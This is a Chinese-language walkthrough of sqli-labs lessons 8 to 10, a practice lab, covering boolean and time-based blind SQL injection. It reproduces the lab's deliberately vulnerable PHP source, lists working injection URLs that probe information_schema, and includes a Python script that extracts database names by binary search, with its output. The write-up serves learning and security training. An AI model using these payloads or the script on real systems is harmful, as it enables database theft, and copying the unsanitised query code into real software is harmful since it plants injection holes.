sqli-labs-Less-8-10

Less-8 GET-Blind-Boolian Based - Single Quotes

布尔型单引号GET盲注

盲注

当不能通过直接显示来获取数据库数据时,使用盲注的方式,根据其返回页面的不同来判断信息(页面内容不同,响应时间);一般分为布尔型盲注时间性盲注报错盲注

盲注常用函数

函数 功能
length(str) 返回str字符串的长度。
substr(str, pos, len) 将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len) 跟上面的一样,截取字符串
ascii(str) 返回字符串str的最左面字符的ASCII代码值。
ord(str) 同上,返回ascii码
if(a,b,c) a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
select database() 查询数据库
ascii(substr((select database()),1,1)) 返回数据库名称的第一个字母,转化为ascii码
ascii(substr((select database()),1,1))>64 ascii大于64就返回true,if就返回1,否则返回0

常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57

布尔型盲注

盲注固定式:

and ascii(substr(A,1,1))>B
and if(ascii(substr(A,1,1))>B,1,0)

A 通过是一个select语句,B则是字符串或数字的ascii码,中心思想是通过substr等截取函数以二分法的形式逐个查询匹配想要的信息,过程耗时繁琐。

payload

源代分析

    <?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

    if($row)
    {
    echo '<font size="5" color="#FFFF00">';    
    echo 'You are in...........';
    echo "<br>";
        echo "</font>";
    }
    else 
    {

    echo '<font size="5" color="#FFFF00">';
    //echo 'You are in...........';
    //print_r(mysql_error());
    //echo "You have an error in your SQL syntax";
    echo "</br></font>";    
    echo '<font color= "#0000ff" font size= 3>';    

    }
}
    else { echo "Please input the ID as parameter with numeric value";}

?>

参数id是由单引号包裹,报错显示函数被注释掉了,之前的双查询注入方法不适用

正确时返回

Welcome    Dhakkan
You are in......

错误时返回

Welcome    Dhakkan

注入方法

sqli-labs/Less-8/?id=1 返回正常
sqli-labs/Less-8/?id=1' 返回错误
sqli-labs/Less-8/?id=1'%23 返回正常,可知是单引号闭合
猜解系统中所有的数据库名
sqli-labs/Less-8/?id=1'  and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)) = 105%23 这里猜到了字母 i 
查询当前数据库名长度
sqli-labs/Less-8/?id=1'  and length((select database())) =8 %23 长度为 8 
查询数据库名
sqli-labs/Less-8/?id=1'  and ascii(substr((select database()),1,1)) > 50 %23 返回正常
sqli-labs/Less-8/?id=1'  and ascii(substr((select database()),1,1)) =115 %23 通过二分法确定了数据库名的首字母的ascii码值为115(s)
猜解security数据库中的表名
sqli-labs/Less-8/?id=1'  and ascii(substr((select table_name from information_schema.tables where table_schema ='security' limit 1,1),1,1)) = 114 %23
猜解users表中的列名
sqli-labs/Less-8/?id=1'  and ascii(substr((select column_name from information_schema.columns where table_name ='users' limit 1,1),1,1)) =117 %23

python爆破小脚本

#!/usr/bin/python
#-*-encoding:utf-8-*-

import requests
import re

url = 'http://xxx.xxx.xxx.xxx/'

#获取数据长度
def getDataLen(url,payload,min,max):
    num_min = min
    num_max = max
    while min < max:
        num_mid = (num_min + num_max) /2
        #print num_min,num_mid,num_max
        if (num_max == num_mid) or (num_min == num_mid):
            num = num_max
            if not re.findall(r'You are in',requests.get(url + payload % num_min).text):
                num = num_min
            #print 'find num = %d' % num
            return num
        payload_new = payload % num_mid
        finalurl = url + payload_new
        #print finalurl
        r = requests.get(finalurl)
        html = r.text
        result = re.findall(r'You are in',html)
        if result:
            num_min = num_mid + 1
        elif not result:
            num_max = num_mid 


#获取当前数据库名
def getCurrentDBName():
    payload_len = 'sqli-labs/Less-8/?id=1\'and length((select database())) > %d %%23 '

    print '获取数据库名长度'
    DBNameLen = getDataLen(url,payload_len,1,50)
    print 'DBNameLen: %s' % DBNameLen
    print '获取数据库名'
    payloadstart = 'sqli-labs/Less-8/?id=1\' and ascii(substr((select database()),%d,1))'
    payloadend = '> %s %%23'
    DBName = ''
    for i in range(1,DBNameLen+1):
        payload1 = payloadstart % i
        payload2 = payload1 + payloadend
        ascii_s = getDataLen(url,payload2,0,128)
        DBName += chr(ascii_s)

    print 'DBName: %s' % DBName


#获取数据库系统中所有的数据库名
def getAllDBName():
    payload_start = 'sqli-labs/Less-8/?id=1\' and '
    payload_select = 'select schema_name from information_schema.schemata limit %d,1'
    payload_ascii1 = ' ascii(substr((%s)'
    payload_ascii2 = ',%d,1))'
    payload_end = '> %s %%23'

    DBNameLen = []
    for i in range(0,10):#此处默认系统中最多有十个数据库
        payload_selecti = payload_select % i
        payload_lengthi = 'length((%s))' % payload_selecti
        payload_end = '> %s %%23'
        payload = payload_start + payload_lengthi + payload_end
        #print payload
        DBNameLen.append(getDataLen(url,payload,0,50))
    print '系统中各个数据库的长度'
    print DBNameLen

    #DBNameLen = [18, 10, 5, 18, 8, 4, 0, 0, 0, 0]
    DBName = []
    for i in range(0,len(DBNameLen)):
        print '获取第%d个数据库名' % i
        payload_selecti = payload_select % i
        DBNames = ''
        for j in range(1,DBNameLen[i]+1):
            payload_ascii1j = payload_ascii1 % payload_selecti
            payload_ascii2j = payload_ascii2 % j
            payload = payload_start + payload_ascii1j + payload_ascii2j + payload_end
            ascii_s = getDataLen(url,payload,0,128)
            DBNames += chr(ascii_s)
        print DBNames
        DBName.append(DBNames)
    print DBName

#获取某个数据库的所有表名

#获取某个表的所有的列名

#获取某个列的所有值

if __name__ == '__main__':
    getCurrentDBName()
    getAllDBName()

结果:
获取数据库名长度
DBNameLen: 8
获取数据库名
DBName: security
系统中各个数据库的长度
[18, 10, 5, 18, 8, 4, 0, 0, 0, 0]
获取第0个数据库名
information_schema
获取第1个数据库名
challenges
获取第2个数据库名
mysql
获取第3个数据库名
performance_schema
获取第4个数据库名
security
获取第5个数据库名
test
获取第6个数据库名

获取第7个数据库名

获取第8个数据库名

获取第9个数据库名

['information_schema', 'challenges', 'mysql', 'performance_schema', 'security', 'test', '', '', '', '']

在这里只写了爆破当前数据库名和爆破系统中所有数据库名的部分,后面的表和列的部分类似

Less-9 GET-Time base-Single Quotes

时间型单引号get盲注

时间型和布尔型的区别在于:时间型无论输入是否合法,返回的页面是相同的,查看源代码确实如此:

    <?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

    if($row)
    {
    echo '<font size="5" color="#FFFF00">';    
    echo 'You are in...........';
    echo "<br>";
        echo "</font>";
    }
    else 
    {

    echo '<font size="5" color="#FFFF00">';
    echo 'You are in...........';
    //print_r(mysql_error());
    //echo "You have an error in your SQL syntax";
    echo "</br></font>";    
    echo '<font color= "#0000ff" font size= 3>';    

    }
}
    else { echo "Please input the ID as parameter with numeric value";}

?>

时间型盲注

函数 作用
sleep() 延时执行,MySQL 5
benchmark() 延时执行,MySQL 4/5

判断是否为时间型盲注

sqli-labs/Less-9/?id=1' and sleep(5) %23
或
sqli-labs/Less-9/?id=1' and if(1=1,sleep(5),null) %23 

执行后延迟了大概5秒左右才返回,可进行时间型盲注

payload

猜解当前数据库
sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115, 0,sleep(5))

剩下的payload构造与Less-8类似

Less-10 GET-Time based - double quotes

时间型双引号get盲注

这里只要把Less-9的单引号改为双引号即可